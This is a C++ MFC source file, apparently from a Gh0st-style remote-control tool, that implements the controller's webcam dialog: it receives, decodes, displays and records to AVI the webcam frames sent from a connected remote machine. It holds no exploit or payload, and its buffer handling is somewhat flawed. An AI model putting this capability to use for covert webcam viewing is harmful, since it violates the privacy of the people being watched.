385 lines
8.5 KiB
C++
385 lines
8.5 KiB
C++
// VideoDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "VideoDlg.h"
|
||
#include "afxdialogex.h"
|
||
|
||
|
||
enum
|
||
{
|
||
IDM_ENABLECOMPRESS = 0x0010, // 视频压缩
|
||
IDM_SAVEAVI, // 保存录像
|
||
};
|
||
// CVideoDlg 对话框
|
||
|
||
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
|
||
|
||
AVISTREAMINFO CBmpToAvi::m_si;
|
||
|
||
CBmpToAvi::CBmpToAvi()
|
||
{
|
||
m_pfile = NULL;
|
||
m_pavi = NULL;
|
||
AVIFileInit();
|
||
}
|
||
|
||
CBmpToAvi::~CBmpToAvi()
|
||
{
|
||
AVIFileExit();
|
||
}
|
||
|
||
bool CBmpToAvi::Open( LPCTSTR szFile, LPBITMAPINFO lpbmi )
|
||
{
|
||
if (szFile == NULL)
|
||
return false;
|
||
m_nFrames = 0;
|
||
|
||
if (AVIFileOpen(&m_pfile, szFile, OF_WRITE | OF_CREATE, NULL))
|
||
return false;
|
||
|
||
m_si.fccType = streamtypeVIDEO;
|
||
m_si.fccHandler = BI_RGB;
|
||
m_si.dwScale = 1;
|
||
m_si.dwRate = 8; // 帧率
|
||
SetRect(&m_si.rcFrame, 0, 0, lpbmi->bmiHeader.biWidth, lpbmi->bmiHeader.biHeight);
|
||
m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage;
|
||
|
||
if (AVIFileCreateStream(m_pfile, &m_pavi, &m_si))
|
||
return false;
|
||
|
||
|
||
if (AVIStreamSetFormat(m_pavi, 0, lpbmi, sizeof(BITMAPINFO)) != AVIERR_OK)
|
||
return false;
|
||
|
||
return true;
|
||
}
|
||
|
||
bool CBmpToAvi::Write(LPVOID lpBuffer)
|
||
{
|
||
if (m_pfile == NULL || m_pavi == NULL)
|
||
return false;
|
||
|
||
return AVIStreamWrite(m_pavi, m_nFrames++, 1, lpBuffer, m_si.dwSuggestedBufferSize, AVIIF_KEYFRAME, NULL, NULL) == AVIERR_OK;
|
||
}
|
||
|
||
|
||
void CBmpToAvi::Close()
|
||
{
|
||
if (m_pavi)
|
||
{
|
||
AVIStreamRelease(m_pavi);
|
||
m_pavi = NULL;
|
||
}
|
||
if (m_pfile)
|
||
{
|
||
AVIFileRelease(m_pfile);
|
||
m_pfile = NULL;
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::SaveAvi(void)
|
||
{
|
||
CMenu *pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED)
|
||
{
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED);
|
||
m_aviFile.Empty();
|
||
m_aviStream.Close();
|
||
return;
|
||
}
|
||
|
||
CString strFileName = m_strIPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi");
|
||
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return;
|
||
m_aviFile = dlg.GetPathName();
|
||
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
|
||
{
|
||
m_aviFile.Empty();
|
||
MessageBox("创建录像文件失败!");
|
||
}
|
||
else
|
||
{
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
|
||
}
|
||
}
|
||
|
||
|
||
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||
: CDialog(CVideoDlg::IDD, pParent)
|
||
{
|
||
m_nCount = 0;
|
||
m_aviFile.Empty();
|
||
m_ContextObject = ContextObject;
|
||
m_iocpServer = IOCPServer;
|
||
m_BitmapInfor_Full = NULL;
|
||
m_pVideoCodec = NULL;
|
||
sockaddr_in ClientAddress;
|
||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||
int iClientAddressLength = sizeof(ClientAddress);
|
||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||
|
||
m_BitmapData_Full = NULL;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
ResetScreen();
|
||
}
|
||
|
||
|
||
void CVideoDlg::ResetScreen(void)
|
||
{
|
||
if (m_BitmapInfor_Full)
|
||
{
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||
m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize];
|
||
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, iBitMapInforSize, 1);
|
||
m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
}
|
||
|
||
CVideoDlg::~CVideoDlg()
|
||
{
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
SaveAvi();
|
||
m_aviFile.Empty();
|
||
}
|
||
|
||
if (m_pVideoCodec)
|
||
{
|
||
delete m_pVideoCodec;
|
||
m_pVideoCodec = NULL;
|
||
}
|
||
|
||
if (m_BitmapData_Full)
|
||
{
|
||
delete m_BitmapData_Full;
|
||
m_BitmapData_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapInfor_Full)
|
||
{
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapCompressedData_Full)
|
||
{
|
||
delete m_BitmapCompressedData_Full;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
|
||
ON_WM_CLOSE()
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_PAINT()
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CVideoDlg 消息处理程序
|
||
|
||
|
||
BOOL CVideoDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu != NULL)
|
||
{
|
||
m_hDD = DrawDibOpen();
|
||
|
||
m_hDC = ::GetDC(m_hWnd);
|
||
SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)");
|
||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
|
||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||
|
||
CString strString;
|
||
|
||
strString.Format("%s - 视频管理 %d×%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||
|
||
SetWindowText(strString);
|
||
|
||
BYTE bToken = COMMAND_NEXT;
|
||
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||
}
|
||
|
||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CAMERA));
|
||
SetIcon(m_hIcon, TRUE);
|
||
SetIcon(m_hIcon, FALSE);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
void CVideoDlg::OnClose()
|
||
{
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
SaveAvi();
|
||
m_aviFile.Empty();
|
||
}
|
||
#if CLOSE_DELETE_DLG
|
||
m_ContextObject->v1 = 0;
|
||
#endif
|
||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||
closesocket(m_ContextObject->sClientSocket);
|
||
|
||
CDialog::OnClose();
|
||
#if CLOSE_DELETE_DLG
|
||
delete this;
|
||
#endif
|
||
}
|
||
|
||
void CVideoDlg::OnReceiveComplete(void)
|
||
{
|
||
++m_nCount;
|
||
|
||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||
{
|
||
case TOKEN_WEBCAM_DIB:
|
||
{
|
||
DrawDIB();//这里是绘图函数，转到他的代码看一下
|
||
break;
|
||
}
|
||
default:
|
||
// 传输发生异常数据
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DrawDIB(void)
|
||
{
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu == NULL)
|
||
return;
|
||
|
||
const int nHeadLen = 1 + 1 + 4;
|
||
|
||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||
LPBYTE szBuffer = tmp.Buf();
|
||
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
if (szBuffer[1] == 0) // 没有经过H263压缩的原始数据，不需要解码
|
||
{
|
||
// 第一次，没有压缩，说明服务端不支持指定的解码器
|
||
if (m_nCount == 1)
|
||
{
|
||
SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||
memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
|
||
}
|
||
else // 解码
|
||
{
|
||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
|
||
if (m_pVideoCodec != NULL)
|
||
{
|
||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压
|
||
//这里开始解码，解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式
|
||
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
|
||
(LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压
|
||
}
|
||
}
|
||
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
|
||
|
||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||
{
|
||
if (m_pVideoCodec != NULL)
|
||
return;
|
||
|
||
m_pVideoCodec = new CVideoCodec;
|
||
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
|
||
{
|
||
OutputDebugStringA("======> InitCompressor failed \n");
|
||
delete m_pVideoCodec;
|
||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||
m_pVideoCodec = NULL;
|
||
// 通知服务端不启用压缩
|
||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
switch (nID)
|
||
{
|
||
case IDM_SAVEAVI:
|
||
{
|
||
SaveAvi();
|
||
break;
|
||
}
|
||
case IDM_ENABLECOMPRESS:
|
||
{
|
||
CMenu *pSysMenu = GetSystemMenu(FALSE);
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
bIsChecked = !bIsChecked;
|
||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||
if (!bIsChecked)
|
||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||
break;
|
||
}
|
||
}
|
||
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
|
||
if (m_BitmapData_Full==NULL)
|
||
{
|
||
return;
|
||
}
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
DrawDibDraw
|
||
(
|
||
m_hDD,
|
||
m_hDC,
|
||
0, 0,
|
||
rect.right, rect.bottom,
|
||
(LPBITMAPINFOHEADER)m_BitmapInfor_Full,
|
||
m_BitmapData_Full,
|
||
0, 0,
|
||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
|
||
DDF_SAME_HDC
|
||
);
|
||
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
m_aviStream.Write(m_BitmapData_Full);
|
||
// 提示正在录像
|
||
SetBkMode(m_hDC, TRANSPARENT);
|
||
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
|
||
const LPCTSTR lpTipsString = "Recording";
|
||
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
|
||
}
|
||
}
|